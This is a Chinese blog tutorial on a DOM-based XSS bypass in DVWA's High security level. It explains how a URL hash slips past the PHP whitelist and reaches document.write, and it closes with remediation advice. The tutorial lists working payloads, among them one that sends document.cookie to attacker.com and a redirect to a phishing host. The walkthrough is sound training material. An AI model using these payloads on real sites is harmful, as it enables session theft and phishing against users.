欢迎光临
我们一直在努力

DOM XSS漏洞详解DVWA High

文章目录

    • 一、High 级别防护分析
      • 1.1 PHP 层防护代码
      • 1.2 防护机制
      • 1.3 防护缺陷
    • 二、客户端代码分析
    • 三、攻击原理
      • 3.1 URL Hash 特性
      • 3.2 攻击思路
      • 3.3 为什么 Hash 能绕过
    • 四、攻击过程
      • 4.1 成功 Payload
      • 4.2 Payload 分解
      • 4.3 执行流程
    • 五、更多 High 级别 Payload
      • 5.1 基础弹窗
      • 5.2 窃取 Cookie
      • 5.3 重定向攻击
      • 5.4 使用 `<svg>` 标签
    • 六、Low vs Medium vs High 对比
    • 七、漏洞修复建议
      • 7.1 修复客户端代码(根本修复)
      • 7.2 使用安全的 DOM API
      • 7.3 PHP 层增强
    • 八、总结
      • 8.1 High 级别防护的缺陷
      • 8.2 攻击要点
      • 8.3 安全启示
      • 8.4 为什么 High 级别仍然有漏洞

一、High 级别防护分析

1.1 PHP 层防护代码

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null( $_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

1.2 防护机制

防护点说明
防护方式 白名单验证
允许值 English, French, German, Spanish
防护措施 不在白名单中则重定向到 ?default=English

1.3 防护缺陷

  • 只检查 $_GET['default'] — 即 URL 参数部分(? 后面)
  • URL hash (# 后面的内容) 不会发送到服务器 — PHP 无法检查 hash 部分
  • 客户端 JavaScript 代码未修改 — 仍然从完整 URL (document.location.href) 读取参数

  • 二、客户端代码分析

    High 级别的客户端 JavaScript 代码与 Low/Medium 级别完全相同:

    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>—-</option>");
    }

    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");

    关键问题:

    • document.location.href 包含 完整的 URL,包括 hash (#) 部分
    • 代码从 URL 中查找 default= 并提取其后的所有内容
    • hash 部分不会发送到服务器,但客户端 JS 可以读取

    三、攻击原理

    3.1 URL Hash 特性

    部分是否发送到服务器客户端 JS 可读取
    ?default=English
    #payload

    3.2 攻击思路

    URL: http://target.com/xss_d/?default=English#<恶意payload>

    服务器接收: GET /xss_d/?default=English

    PHP 检查: $_GET['default'] = "English" → 在白名单中 → 通过

    浏览器加载页面,JS 执行:
    document.location.href = "http://target.com/xss_d/?default=English#<恶意payload>"

    JS 提取: lang = "English#<恶意payload>"

    document.write 执行: 恶意 payload 被写入 HTML

    XSS 攻击成功

    3.3 为什么 Hash 能绕过

  • HTTP 协议规定:浏览器发送 HTTP 请求时,不会将 URL hash 部分发送到服务器
  • PHP 只能看到 $_GET['default'] = "English",看不到 hash 部分
  • 客户端 JS 能看到 完整 URL,包括 hash 部分
  • 代码逻辑:document.location.href.indexOf("default=") 会匹配到 ?default=English,然后 substring 会提取 English#<恶意payload>

  • 四、攻击过程

    4.1 成功 Payload

    http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#</option></select><img src=x onerror=alert('XSS_High')>

    URL 编码后(hash 部分需要编码,= 不编码):

    http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert(%27XSS_High%27)%3E

    4.2 Payload 分解

    部分作用是否编码
    ?default=English 通过 PHP 白名单验证
    # Hash 分隔符,后面的内容不发送到服务器
    %3C/option%3E 闭合 <option> 标签
    %3C/select%3E 闭合 <select> 标签
    %3Cimg%20src=x 注入图片标签
    onerror=alert('XSS_High') 事件处理器,= 不编码 部分
    %3E 闭合 <img> 标签

    4.3 执行流程

    1. 浏览器请求: GET /DVWA/vulnerabilities/xss_d/?default=English
    (hash 部分不发送)

    2. PHP 检查: $_GET['default'] = "English" → 在白名单中 → 允许通过

    3. 页面加载,JS 执行:
    document.location.href = "…xss_d/?default=English#%3C/option%3E…"

    4. JS 提取:
    lang = "English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert('XSS_High')%3E"

    5. decodeURI(lang) = "English#</option></select><img src=x onerror=alert('XSS_High')>"

    6. document.write 写入:
    <option value='English#…'>English#</option></select><img src=x onerror=alert('XSS_High')></option>

    7. 浏览器解析:
    – <option value='English#…'> — option 开始
    – English# — text 内容
    – </option> — 闭合 option
    – </select> — 闭合 select
    – <img src=x onerror=alert('XSS_High')> — 渲染并触发 onerror 事件

    8. XSS 攻击成功


    五、更多 High 级别 Payload

    5.1 基础弹窗

    ?default=English#</option></select><img src=x onerror=alert('XSS_High')>

    5.2 窃取 Cookie

    ?default=English#</option></select><img src=x onerror=window.location='http://attacker.com/?c='+document.cookie>

    5.3 重定向攻击

    ?default=English#</option></select><img src=x onerror=window.location='http://phishing.com'>

    5.4 使用 <svg> 标签

    ?default=English#</option></select><svg onload=alert('XSS_High')>


    六、Low vs Medium vs High 对比

    特性LowMediumHigh
    PHP 层防护 黑名单 <script 白名单验证
    客户端代码 未修改 未修改 未修改
    攻击难度 简单 中等 较难
    绕过方法 直接注入 HTML 事件处理器 URL Hash
    关键技巧 = 不编码 # 不发送到服务器

    七、漏洞修复建议

    7.1 修复客户端代码(根本修复)

    // 方法 1: 只读取 URL 参数,不包括 hash
    const urlParams = new URLSearchParams(window.location.search);
    const lang = urlParams.get('default');

    // 方法 2: 白名单验证
    const allowed = ['English', 'French', 'Spanish', 'German'];
    if (allowed.includes(lang)) {
    const option = document.createElement('option');
    option.value = lang;
    option.textContent = lang;
    select.appendChild(option);
    }

    7.2 使用安全的 DOM API

    // 避免 document.write,使用安全的 DOM 操作
    const select = document.querySelector('select[name="default"]');
    const allowed = ['English', 'French', 'Spanish', 'German'];

    if (allowed.includes(lang)) {
    const option = document.createElement('option');
    option.value = lang;
    option.textContent = lang; // textContent 自动转义
    select.appendChild(option);
    }

    7.3 PHP 层增强

    // 检查完整 URL,包括可能的 hash 注入(虽然 PHP 看不到 hash)
    // 但可以在输出时进行 HTML 编码
    $default = htmlspecialchars($_GET['default'], ENT_QUOTES, 'UTF-8');


    八、总结

    8.1 High 级别防护的缺陷

    缺陷说明
    只防护服务器端 PHP 白名单只检查 $_GET 参数
    忽略客户端漏洞 客户端 JS 代码未修改,仍然有漏洞
    URL Hash 盲区 Hash 部分不发送到服务器,但客户端 JS 可以读取

    8.2 攻击要点

    要点说明
    利用 URL Hash # 后面的内容不发送到服务器
    绕过 PHP 白名单 ?default=English 通过白名单
    客户端 JS 漏洞 document.location.href 包含完整 URL
    跳出 select 上下文 </option></select> 闭合标签
    = 不编码 确保浏览器正确解析事件处理器

    8.3 安全启示

  • 客户端和服务器端都需要防护 — 只防护一端是不够的
  • URL Hash 不是安全的 — 客户端 JS 可以读取 hash 部分
  • 白名单必须完整 — 不仅要验证服务器端参数,还要验证客户端数据源
  • 避免 document.write — 使用安全的 DOM API
  • 纵深防御 — 多层防护比单层防护更可靠
  • 8.4 为什么 High 级别仍然有漏洞

    High 级别的开发者犯了一个常见错误:只修复了服务器端,忽略了客户端。

    • PHP 白名单阻止了恶意参数值
    • 但客户端 JS 仍然从完整 URL 读取数据
    • URL hash 部分绕过了 PHP 检查
    • 客户端 JS 将 hash 内容写入 DOM

    根本原因:客户端 JS 代码没有修改,仍然使用不安全的 document.location.href 和 document.write。

    赞(0)
    未经允许不得转载:171主机测评 » DOM XSS漏洞详解DVWA High
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址